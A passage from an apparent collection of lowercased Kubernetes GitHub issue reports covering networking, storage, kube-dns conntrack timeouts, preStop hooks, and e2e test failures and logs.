squidguard\r     namespace: proxy\r spec:\r     ports:\r     - name: http\r       port: 80\r       targetport: 80\r     selector:\r       app: squidguard\r ---\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r     name: squidguard\r     namespace: proxy\r spec:\r     rules:\r     - host: proxy.internal.domain.com\r       http:\r         paths:\r         - path: /\r           backend:\r             servicename: squidguard\r             serviceport: http\r ---\r apiversion: v1\r kind: service\r metadata:\r   name: squidguard-np\r   namespace: proxy\r spec:\r   type: nodeport\r   ports:\r     - port: 3128\r       targetport: 3128\r       nodeport: 31280\r   selector:\r     name: squidguard\r    \r \r i use weave as overlay network. all other services working fine. one with \ hostnetwork = true\  and others over the traefik ingress controller on port 80 and 443.\r \r also my squidguard deployment is running and http  port 80  over ingress controller ist working fine.\r if i try to connect to port 31280 it can't connect at all. \r \r checked with tcpdump:\r \r on cluster  physical interface : can see my traffic to port 31280.\r inside the pod: no traffic to port 31280 is comming.. see only traffic to port 80.\r \r someone has any idea? maybe a misconfiguration on my yaml file?\r already \ kubeadm reset\  and \ kubeadm init\  to get a clean install. this doesn't help to solve the issue.\r \r i'm sure someone here can give me a hint to solve my issue... :  thanks a lot.\r \r \r \r

  \r cc @kubernetes/sig-docs-maintainers \r \r   what happened  :\r \r when changing api comments or fields, i'm required to run ./hack/update-api-reference-docs.sh after generating openapi definitions. this generates html documents which don't appear to be consumed by anything in the kubernetes/kubernetes repo.\r \r the generation script takes over 2 minutes to run and calls docker.\r \r   what you expected to happen  :\r \r i was surprised to see this as a required step as part of changing the apis and would have expected this kind of generation to be part of the github.com/kubernetes/website build process instead.\r \r any thoughts here?\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r n/a\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : d02cf08e27f640f09ebd489e094176fd075f3463\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools:\r - others:\r

we fixed invalid device path in bunch of places via - https://github.com/kubernetes/kubernetes/pull/33270 but  isdeviceopen  call still could use invalid device path.\r \r that check can sometimes use invalid path and hence can cause unmountdevice operation to fails even though device has already been unmounted.\r \r   \r /assign\r

https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-master-gci-new-downgrade-cluster-parallel/4893\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:324\r expected\r     <int>: 0\r not to equal\r     <int>: 0\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:748\r    \r \r very unclear what happened there.

flaky job: pr:pull-kubernetes-e2e-gce  flakes in the past week:   17    consistency:   96.30%         flakiest tests by flake count: | test | flake count | | --- | --- | | timeout | 9 | | teardown | 7 |       previously closed issues for this job flaking:  66703  67295  62592  52216  68987  52215  56736  54102     flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

what happened  :\r when an inline csi volume is used, the volume controller hangs during reconciliation when attempting to any previously existing volume.\r \r   what you expected to happen  :\r expected the csi inline volume to properly mount.\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a pod spec with a an ephemeral csi volume.\r \r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r  \r   what you expected to happen  :\r \r   kubectl port-forward   will generate the follow error when using windows pods:\r \r     curl http://127.0.0.1:40271\r     handling connection for 40271\r     e0610 14:21:10.685551  124724 portforward.go:400  an error occurred forwarding 40271 -> 80: error forwarding port 80 to pod 40c9dc69b4d527427b72ebe4d8ea4a6a794fd7acc96c20373d0257439654f98f, uid : unable to do port forwarding: socat not found.\r     curl:  52  empty reply from server\r \r this issue does not appear when using linux pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the following commands:\r \r     kubectl create -f pods/portforward.yaml    https://paste.ubuntu.com/p/p8jqt7t8qk/\r     kubectl port-forward -n services-4435 pod/nodeport-test-6t4rs 9999:80 &\r     curl http://127.0.0.1:9999\r \r the same scenario works when using linux pods.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master  v1.16.0 \r - cloud provider or hardware configuration: n/a\r - os  e.g:  cat /etc/os-release  : windows server datacenter 10.0.17763.379\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - network plugin and version  if this is a network-related bug : azure-vnet-cni, flannel\r - others:\r

restart    should restart all nodes and ensure all nodes and pods recover   /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/test/e2e/restart.go:127  beforeeach  restart   /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/test/e2e/restart.go:70 >>> testcontext.kubeconfig: /usr/local/google/home/biskup/.kube/config  it  should restart all nodes and ensure all nodes and pods recover   /go/src/github.com/googlecloudplatform/kubernetes/_output/dockerized/go/src/github.com/googlecloudplatform/kubernetes/test/e2e/restart.go:127 step: ensuring all nodes are ready info: successfully found 2 nodes info: waiting up to 9.830392413s for node e2e-test-biskup-minion-1p95 readiness to be true info: waiting up to 9.830392413s for node e2e-test-biskup-minion-4073 readiness to be true info: node e2e-test-biskup-minion-1p95 condition 1/1: type: ready, status: true info: successfully found node e2e-test-biskup-minion-1p95 readiness to be true info: node e2e-test-biskup-minion-4073 condition 1/1: type: ready, status: true info: successfully found node e2e-test-biskup-minion-4073 readiness to be true info: got the following nodes before restart:  e2e-test-biskup-minion-1p95 e2e-test-biskup-minion-4073  step: ensuring all pods are running and ready info: waiting up to 20s for the following 0 pods to be running and ready:    info: wanted all 0 pods to be running and ready. result: true. pods:    step: restarting all of the nodes step: getting the name of the template for the managed instance group info: mig group e2e-test-biskup-minion-group using template: e2e-test-biskup-minion-template step: starting the mig rolling update to e2e-test-biskup-minion-template info: started mig rolling update; id: 46aac7c6-15ca-4f54-9632-169f83bf0e01 step: polling the mig rolling update  46aac7c6-15ca-4f54-9632-169f83bf0e01  until it completes info: waiting up to 10m0s for mig rolling update to complete. info: waiting for mig rolling update: 0/2 instances updated  21.02613445s elapsed  info: waiting for mig rolling update: 0/2 instances updated  41.341414939s elapsed  info: waiting for mig rolling update: 0/2 instances updated  1m0.980912232s elapsed  info: waiting for mig rolling update: 0/2 instances updated  1m21.424383794s elapsed  info: waiting for mig rolling update: 1/2 instances updated  1m41.386619632s elapsed  info: waiting for mig rolling update: 1/2 instances updated  2m1.355138723s elapsed  info: waiting for mig rolling update: 1/2 instances updated  2m20.964236407s elapsed  info: waiting for mig rolling update: 1/2 instances updated  2m40.94024304s elapsed  info: waiting for mig rolling update: 1/2 instances updated  3m0.947456466s elapsed  info: waiting for mig rolling update: 2/2 instances updated  3m20.918004525s elapsed  info: mig rolling update complete after 3m20.918050979s step: ensuring all nodes are ready after the restart info: expected to find 2 nodes but found only 0  10.04124215s elapsed  info: expected to find 2 nodes but found only 0  15.080708762s elapsed  ...      nodes disappeared. i suppose the shutdown script unregistered them. then they never registered.  from nodes:      biskup@e2e-test-biskup-minion-1p95:~$ sudo docker ps fata 0000  get http:///var/run/docker.sock/v1.18/containers/json: dial unix /var/run/docker.sock: no such file or directory. are you trying to connect to a tls-enabled daemon without tls?       docker logs:      time=\ 2015-07-07t09:47:10z\  level=info msg=\ received signal 'terminated', starting shutdown of docker...\   time=\ 2015-07-07t09:47:11z\  level=info msg=\ +job init_networkdriver  \   time=\ 2015-07-07t09:47:11z\  level=info msg=\ +job serveapi unix:///var/run/docker.sock \   time=\ 2015-07-07t09:47:11z\  level=info msg=\ listening for http on unix  /var/run/docker.sock \   no such network interface time=\ 2015-07-07t09:47:11z\  level=info msg=\ -job init_networkdriver   = err  1 \   time=\ 2015-07-07t09:47:11z\  level=fatal msg=\ shutting down daemon due to errors: no such network interface\        kubelet:      e0707 09:47:14.414859    2847 reflector.go:136  failed to list  api.pod: the server has asked for the client to provide credentials  get pods  e0707 09:47:14.414966    2847 reflector.go:136  failed to list  api.node: the server has asked for the client to provide credentials  get nodes       just before these tests i created another gke cluster  this was on a e2e cluster . maybe gke interfered?

k8s cluster run in two openstack instances. one node status is notready because of keystone error ,but pods still run in it.\r should we scheduled the pods to another node?\r \r -bash-4.3  kubectl get pod -o wide\r name      ready     status    restarts   age       node\r ubuntu1   1/1       running   0          1h        yuanquan-2\r -bash-4.3  kubectl get nodes\r name         status     age\r yuanquan-1   ready      15h\r yuanquan-2   notready   20h\r

failure cluster  dde1f7a290618383f484  https://go.k8s.io/triage dde1f7a290618383f484        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:808 expected error:     < errors.errorstring | 0xc420fc0000>: {         s: \ failed to create static ip: error:  gcloud.compute.addresses.create  could not fetch resource:\  - quota 'static_addresses' exceeded. limit: 7.0\ \ \ ,     }     failed to create static ip: error:  gcloud.compute.addresses.create  could not fetch resource:      - quota 'static_addresses' exceeded. limit: 7.0           not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:577           failure cluster statistics: 1 tests failed,    6 jobs failed,    152 builds failed. failure stats cover 1 day time range '2 jun 2017 20:57 utc' to '3 jun 2017 20:57 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  services should be able to change the type and ports of a service  slow  | 6 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-slow | 29 |  3 jun 2017 20:19 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/6736  | | ci-kubernetes-e2e-gci-gke-slow-release-1.5 | 27 |  3 jun 2017 15:05 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow-release-1.5/6861  | | ci-kubernetes-e2e-gke-slow-release-1.5 | 27 |  3 jun 2017 15:38 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-slow-release-1.5/6531  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | bprashanth |  k8s.io  services should be able to change the type and ports of a service  slow  | | sig/network |  k8s.io  services should be able to change the type and ports of a service  slow  |  </details><br>   current status  https://go.k8s.io/triage dde1f7a290618383f484

is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r master\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release : linux\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r we get such log in kubelet node:\r  i0616 06:02:37.656862   57370 file.go:157  reading config file \ /etc/kubernetes/kubelet.d//my-web.yaml\ \r i0616 06:02:37.657423   57370 common.go:55  generated uid \ f3b55a67317624d6a2355571b5737227\  pod \ bbbbbbbbbb\  from /etc/kubernetes/kubelet.d//my-web.yaml\r i0616 06:02:37.657450   57370 common.go:59  generated name \ bbbbbbbbbb-node2\  for uid \ f3b55a67317624d6a2355571b5737227\  from url /etc/kubernetes/kubelet.d//my-web.yaml\r i0616 06:02:37.657463   57370 common.go:64  using namespace \ default\  for pod \ bbbbbbbbbb-node2\  from /etc/kubernetes/kubelet.d//my-web.yaml\r i0616 06:02:37.658110   57370 file.go:157  reading config file \ /etc/kubernetes/kubelet.d//my-web.yaml\ \r i0616 06:02:37.658276   57370 config.go:293  setting pods for source file\r i0616 06:02:37.658563   57370 common.go:55  generated uid \ f3b55a67317624d6a2355571b5737227\  pod \ bbbbbbbbbb\  from /etc/kubernetes/kubelet.d//my-web.yaml\r i0616 06:02:37.658594   57370 common.go:59  generated name \ bbbbbbbbbb-node2\  for uid \ f3b55a67317624d6a2355571b5737227\  from url /etc/kubernetes/kubelet.d//my-web.yaml\r i0616 06:02:37.658607   57370 common.go:64  using namespace \ default\  for pod \ bbbbbbbbbb-node2\  from /etc/kubernetes/kubelet.d//my-web.yaml\r i0616 06:02:37.658574   57370 config.go:415  receiving a new pod \ bbbbbbbbbb-node2_default f3b55a67317624d6a2355571b5737227 \ \r  \r we can see an extra \ /\  in filename\r   what you expected to happen  :\r valid filename should be logged.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. start kubelet with option --pod-manifest-path=/etc/kubernetes/kubelet.d/\r 2. move some yaml files to dir /etc/kubernetes/kubelet.d/\r 3. then we can see such logs from kubelet.\r \r   anything else we need to know  :\r \r

 \r   what happened  :\r \r    drained and rebooted a bunch of nodes\r \r    traffic moves smoothly from machine to machine, without disruption, except for one service that saw occasional dns lookup errors.\r \r what was going on? i eventually found that this was correlated with nodes running kube-dns pods. the errors appeared whenever one of the dns pods got terminated. this actually happened before, looking at alert logs, but it's more frequent now, because the service itself handles a lot more load. it also happens when doing a rolling update of kube-dns.\r \r but what was the problem, actually? i decided to keep a watch on iptables rules and tcpdump traffic for a single sacrifical pod, kube-dns-3870396295-k4r4m, that i was about to terminate. at 23:09:00 utc, to be precise.\r \r iptables rules, updated every three seconds:\r    \r mon jul 10 23:08:58 utc 2017\r kube-mark-masq all -- ip-10-68-11-215 anywhere /  kube-system/kube-dns:dns-tcp  /\r mon jul 10 23:09:02 utc 2017\r    \r \r so kube-proxy updated rules within two seconds at most. so far, so good  traffic is regular udp, i'm grepping for dns-tcp because i am too lazy to write a longer regex and this way i get half the output, without the udp rules .\r \r confirming that the pod is about to go away:\r  status: terminating  expires mon, 10 jul 2017 23:09:30 +0000  \r \r then at 23:09:30 kube-dns-3870396295-k4r4m was gone.\r \r i lost my tcpdump logs, but i swear that i saw traffic going to 10.68.11.215 until 140s after termination  23:11:20 \r \r so if the pod is gone and already removed from the iptables rules, why is it still getting traffic? it's udp, not tcp, but perhaps there is some kind of connection tracking going on? lo and behold:\r \r    \r nf_conntrack_udp_timeout_stream2 - integer  seconds \r \tdefault 180\r \tthis extended timeout will be used in case there is an udp stream\r \tdetected.\r    \r \r but why just this service? i strongly suspect that it's because it talks to a service outside the cluster that has a cname record with a ttl of 5s  five seconds . it's doing enough traffic to the service that conntrack keeps the udp stream to the kube-dns pod alive, well into the multiple minute range.\r \r and if you wonder what kind of degenerate service has such a low ttl, it's none other than ec2 rds  at least the mysql, multi-az variant , most likely for failover reasons:\r \r https://forums.aws.amazon.com/thread.jspa?threadid=235278\r \r   what you expected to happen  :\r \r traffic moves smoothly from machine to machine, without disruption\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r send traffic to a host that has a cname with a low ttl  e.g. 5 seconds .\r \r   anything else we need to know?  :\r \r there are multiple ways to mitigate or fix this:\r \r 1. use multiple kube-dns deployments and cluster dns ips  supported in 1.6+ , making sure you only update one at a time. assuming your software retries lookups with a different dns server after the first one times out, this should reduce impact.\r 1. increase terminationgraceperiodseconds to 180. i'm not sure this will actually fix the problem, as new packets will probably reset the timeout timer.\r 1. document that perhaps nf_conntrack_udp_timeout_stream2 should be lowered to 30. probably a better mitigation than 2.\r 1. set both values above to e.g. 60s or 90s if you don't want to wait a whole three minutes.\r 1. disable connection tracking for dns traffic  -j notrack \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.5.7\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : container linux by coreos 1409.6.0\r - kernel  e.g.  uname -a  :  4.11.9-coreos\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r defined the prestop hook for a replicaset/deployment, when i delete the replicaset/deployment, the prestop hook gets killed during the execution and could not be finished properly. we are running a relatively old version kubernetes 1.5.6, but we could not update the kubernetes version for our production environment.\r \r   what you expected to happen  :\r \r prestop hook should be finished correctly\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r yaml file\r    \r apiversion: extensions/v1beta1\r kind: replicaset\r metadata:\r   name: housekeeping\r   labels:\r     app: housekeeping\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: housekeeping\r     spec:\r       containers:\r       - name: housekeeping\r         image: nginx:1.8.1\r         lifecycle:\r           poststart:\r             exec:\r               command:  \ /bin/sh\ , \ -c\ , \ echo  date  poststart handler >> /tmp/tmp/poststart\  \r           prestop:\r             exec:\r               command:  \ /bin/sh\ , \ -c\ , \ for i in  seq 1 15 ; do echo $i  date  prestop handler  >> /tmp/tmp/prestop; sleep 1; done\  \r         ports:\r         - containerport: 80\r           hostport: 7080\r         volumemounts:\r         - mountpath: /tmp/tmp\r           name: test-volume\r       volumes:\r       - name: test-volume\r         hostpath:\r            directory location on host\r          path: /tmp/tmp\r    \r \r 2. kubectl create -f test.yaml\r 3. kubectl get pods -o wide to determine which nodes the pod is scheduled to\r 4. kubectl delete rs housekeeping\r 5. login the node that the pod was scheduled to, check the /tmp/tmp/prestop, you will see something like:\r    \r 1 wed jul 26 10:42:34 utc 2017 prestop handler\r 1 wed jul 26 10:42:34 utc 2017 prestop handler\r 2 wed jul 26 10:42:35 utc 2017 prestop handler\r 2 wed jul 26 10:42:35 utc 2017 prestop handler\r    \r we cold see that the prestop script seems to be called in two parallel processes, and was killed in 2 - 3 seconds.\r \r in the kubernetes events, will get some unfinishedprestophook warning message:\r \r    \r prestop hook for container \ c515df39bd7bf7155669ca1615d5a823b8344c90ba5fd543052d1546bfca1613\  housekeeping default/housekeeping-pj6rj did not complete in   0   seconds\r    \r \r the point is \ did not complete in 0 seconds\ .\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : kubernetes 1.5.6\r - cloud provider or hardware configuration  : on-prem vms\r - os  e.g. from /etc/os-release : sles 12\r - kernel  e.g.  uname -a  : 3.12.28-4-default\r - install tools: binary + systemd configuration files\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r \r \r   what happened  :\r the validation of statefulset is not complete, it not include the statefulsetspec.volumeclaimtemplates validation, volumeclaimtemplates  is an array of persistentvolumeclaim, it should be checked.\r   what you expected to happen  :\r persistentvolumeclaim in statefulset should be validated\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

how are updates to things like deployments to be handled within initializers?  currently i think you have to either delete and recreate a deployment, or write custom update code within the initializer.  is there another way to do this?\r  \r

i also hit https://github.com/kubernetes/heapster/issues/1838 when running cri-containerd as the container runtime.\r \r the reason is that we don't populate stats like  usagenanocore  in cri-containerd integration now. @abhi is adding the containerd support in cadvisor, after that we should have full summary metrics.\r \r however, heapster should not panic in this case anyway.\r \r @piosz @kubernetes/sig-instrumentation-bugs can we cut a heapster patch release and update heapster in the main repo?

 \r   what happened  :\r i updated kubernetes version 1.8.7-gke.0 -> 1.9.4-gke.1 then simple nginx application errored.\r this application on 1.8.7-gke.0 had worked.\r i cannot understand whether or not this is bug.\r \r my dockerfile\r    \r from nginx\r add ./server.conf /etc/nginx/conf.d/default.conf\r add ./public /root/public\r run mkdir /root/logs\r run chmod 755 -r /root\r cmd  \ nginx\ , \ -g\ , \ daemon off;\  \r    \r \r and nginx error log. all pages returned 403.\r    \r 10.36.1.1 - -  19/mar/2018:06:46:33 +0000  \ head /css/grayscale.css http/1.1\  403 0 \ -\  \ curl/7.35.0\ \r 2018/03/19 06:46:33  error  5 5:  7 open   \ /root/public/css/grayscale.css\  failed  13: permission denied , client: 10.36.1.1, server: localhost, request: \ head /css/grayscale.css http/1.1\ , host: \ 35.189.152.153\ \r 2018/03/19 06:46:33  info  5 5:  7 client 10.36.1.1 closed keepalive connection\r    \r \r but once i touch public directory with like below command, i can access those files via blowser.\r    \r kubectl exec  pod's name  -n  namespace  -- ls -la /root/public\r    \r this is caused by selinux?\r \r \r   anything else we need to know?  :\r i can see below nginx logs when i access my page.\r i concerned about status 304 not modified ...\r \r    \r 10.36.1.1 - -  19/mar/2018:07:35:44 +0000  \ get / http/1.1\  200 46344 \ http://localhost:8001/api/v1/namespaces/kube-system/services/https:kubernetes-dashboard:/proxy/\  \ mozilla/5.0  x11; linux x86_64  applewebkit/537.36  khtml, like gecko  chrome/58.0.3029.81 safari/537.36\ \r 10.36.1.1 - -  19/mar/2018:07:35:44 +0000  \ get /css/bootstrap.min.css http/1.1\  304 0 \ http://35.189.152.153/\  \ mozilla/5.0  x11; linux x86_64  applewebkit/537.36  khtml, like gecko  chrome/58.0.3029.81 safari/537.36\ \r    \r \r   environment  :\r - kubernetes version\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:28:34z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.4-gke.1\ , gitcommit:\ 10e47a740d0036a4964280bd663c8500da58e3aa\ , gittreestate:\ clean\ , builddate:\ 2018-03-13t18:00:36z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r

15191 introduced a flag  repair-malformed-updates , when turned on, api server will try to repair the malformed update requests when validating them.  this behavior is wrong, we need to fix the clients that generate malformed update requests and remove this flag and related code in head.  @lavalamp

we slowly introduced timestamps everywhere. soon we are going to have logging, monitoring, and events, etc, all of them only make sense when the entire cluster shares the same accurate time.

hi all,  i gave kubernetes a try by installing kubernetes package on an existing  aws hosted  mesosphere dcos cluster with the install package command.  i am able to do all the things i did on my mesos/marathon poc. i am quite happy with k8 features, service discovery is made easier and the namespace feature is a must . the big missing thing right now on my k8 poc is the elb registration of services. i saw on the doc that it was possible to have k8 creating aws elb using the type loadbalancer in service definition. it's what i did but i don't have the load balancer created  only virtual ip :       dcos kubectl describe service x3mock --namespace=customera  name:                   x3mock namespace:              customera labels:                 app=x3mock,cluster=customera selector:               app=x3mock type:                   loadbalancer ip:                     10.10.10.251 port:                   <unnamed>       80/tcp nodeport:               <unnamed>       31175/tcp endpoints:              10.0.0.21:1030,10.0.1.206:1030,10.0.1.207:1030 + 47 more... session affinity:       none no events.       i believe it's because the dcos package do not setup kubernetes in aws mode.  how can i update my current configuration  regular dcos package setup  so i can test the aws elb registration ?  thanks in advance.

for node affinity in node selection the requiredduringschedulingignoredduringexecution nodeaffinity setting is supposed to ignore any modifications made during runtime. but, if a pod is pending due to unavailability of a suitable node as no node with a matching label exists, and a node is made suitable by updating a node's label during runtime, the pending pod starts running. is the requiredduringschedulingignoredduringexecution valid only for pods already running made unsuitable to run on a node due to node label update at runtime?   it is not documented: _a running pod is not stopped if a node label is updated at runtime to make it unsuitable for a pod to be scheduled on, but a pending pod gets scheduled if a node label on a node is updated at runtime to make it suitable for a pod to be scheduled._   http://kubernetes.io/docs/user-guide/node-selection/

there are some masquerade requirements for hostport apparently. this hide source ip from loadbalancers, which are one of the few valid use cases for hostport currently.  - container -> node-ip:hostport: lb sees ip of node the container is on - same node ->     - 127.0.0.1/localhost:hostport: lb sees cbr0 ip   - eth0 ip:hostport: lb sees eth0 ip - different node -> node-ip:hostport: preserves source ip - outside cluster -> node-ip:hostport: preserves source ip  the last one preserving source ip is the most important. would be nice if we preserved it across the board.

current vsphere cloud provider doesn't allow a user to select a datastore for dynamic provisioning. all the volumes are created in default datastore provided by the user in the global vsphere configuration file. \r \r with this fix, the user will be able to provide the datastore in the storage class definition. this will allow the volumes to be created in the datastore specified by the user in the storage class definition. this field is optional. if no datastore is specified, the volume will be created in the default datastore specified in the global config file.\r \r for example:\r \r user creates a storage class with the datastore\r ---\r > kind: storageclass\r > apiversion: storage.k8s.io/v1beta1\r > metadata:\r >   name: slow\r > provisioner: kubernetes.io/vsphere-volume\r > parameters:\r >     diskformat: thin\r >     datastore: vmfsdatastore\r \r now the volume will be created in the datastore - \ vmfsdatastore\  specified by the user. \r \r if the user creates a storage class without any datastore\r ---\r > kind: storageclass\r > apiversion: storage.k8s.io/v1beta1\r > metadata:\r >   name: slow\r > provisioner: kubernetes.io/vsphere-volume\r > parameters:\r >     diskformat: thin\r \r now the volume will be created in the datastore which in the global configuration file  vsphere.conf \r \r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/46371/pull-kubernetes-unit/32665/\r \r cause of failure is\r    \r streamwatcher.go:109  unable to decode an event from the watch stream: unable to decode watch event: object 'kind' is missing in '{\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ too old resource version: 8420  8421 \ ,\ reason\ :\ gone\ ,\ code\ :410}'\r    \r \r full log:\r    \r === run   testcrossnamespacelistwatch\r i0525 09:16:23.530175   16520 naming_controller.go:295  shutting down namingconditioncontroller\r i0525 09:16:23.530208   16520 customresource_discovery_controller.go:163  shutting down discoverycontroller\r i0525 09:16:23.530233   16520 crd_finalizer.go:261  shutting down crdfinalizer\r i0525 09:16:23.530289   16520 serve.go:134  stopped listening on 127.0.0.1:39195\r 2017-05-25t09:16:23.407225173-07:00 audit: id=\ 0d3b381e-a3db-452c-887f-eeefed0f8c5a\  ip=\ 127.0.0.1\  method=\ watch\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/apiextensions.k8s.io/v1alpha1/customresourcedefinitions?resourceversion=8402&timeoutseconds=387&watch=true\  response=\ 200\ \r w0525 09:16:23.625212   16520 authentication.go:50  authentication is disabled\r i0525 09:16:23.628000   16520 serve.go:85  serving securely on 127.0.0.1:43271\r i0525 09:16:23.628181   16520 crd_finalizer.go:249  starting crdfinalizer\r i0525 09:16:23.628213   16520 customresource_discovery_controller.go:152  starting discoverycontroller\r i0525 09:16:23.628228   16520 naming_controller.go:284  starting namingconditioncontroller\r 2017-05-25t09:16:23.634800027-07:00 audit: id=\ 1a6e4b28-5fd8-4153-8499-19e1e6430232\  ip=\ 127.0.0.1\  method=\ list\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/apiextensions.k8s.io/v1alpha1/customresourcedefinitions?resourceversion=0\  response=\ 200\ \r 2017-05-25t09:16:23.636170956-07:00 audit: id=\ 8db3124b-0371-4064-a1dd-b2af48962395\  ip=\ 127.0.0.1\  method=\ watch\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/apiextensions.k8s.io/v1alpha1/customresourcedefinitions?resourceversion=8413&timeoutseconds=361&watch=true\  response=\ <deferred>\ \r 2017-05-25t09:16:23.658618061-07:00 audit: id=\ 2f470e31-b66b-4932-8fd2-11480be2bdb6\  ip=\ 127.0.0.1\  method=\ get\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /healthz\  response=\ 200\ \r 2017-05-25t09:16:23.659536141-07:00 audit: id=\ c29896c5-1192-458f-9c86-4f1b6bf67fd1\  ip=\ 127.0.0.1\  method=\ get\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/apiextensions.k8s.io/v1alpha1\  response=\ 200\ \r {\ kind\ :\ apiresourcelist\ ,\ apiversion\ :\ v1\ ,\ groupversion\ :\ apiextensions.k8s.io/v1alpha1\ ,\ resources\ : {\ name\ :\ customresourcedefinitions\ ,\ singularname\ :\ \ ,\ namespaced\ :false,\ kind\ :\ customresourcedefinition\ ,\ verbs\ : \ create\ ,\ delete\ ,\ deletecollection\ ,\ get\ ,\ list\ ,\ patch\ ,\ update\ ,\ watch\  },{\ name\ :\ customresourcedefinitions/status\ ,\ singularname\ :\ \ ,\ namespaced\ :false,\ kind\ :\ customresourcedefinition\ ,\ verbs\ : \ update\  } }\r 2017-05-25t09:16:23.660440595-07:00 audit: id=\ 51d98f8a-0bd9-4e18-b9bf-fd8fac6118d6\  ip=\ 127.0.0.1\  method=\ create\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/apiextensions.k8s.io/v1alpha1/customresourcedefinitions\  response=\ 201\ \r 2017-05-25t09:16:23.663298601-07:00 audit: id=\ c0037908-b4e2-4220-8754-f2d5f4b65abf\  ip=\ 127.0.0.1\  method=\ get\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/mygroup.example.com/v1alpha1\  response=\ 404\ \r 2017-05-25t09:16:23.694378381-07:00 audit: id=\ 6ce6cb6a-cec6-4eb1-bd25-c540bc20297d\  ip=\ 127.0.0.1\  method=\ get\  user=\ <none>\  groups=\ <none>\  as=\ <self>\  asgroups=\ <lookup>\  namespace=\ <none>\  uri=\ /apis/mygroup.example.com/v1alpha1\  response=\ 404\ \r 2017-05-25t09:16:23.724342634-07:00 audit: id=\ 77b91864-99d1-4b49-b201-2b4866f04b6b\  ip=\ 127.0.0.1\  method=\ get\  user=\ 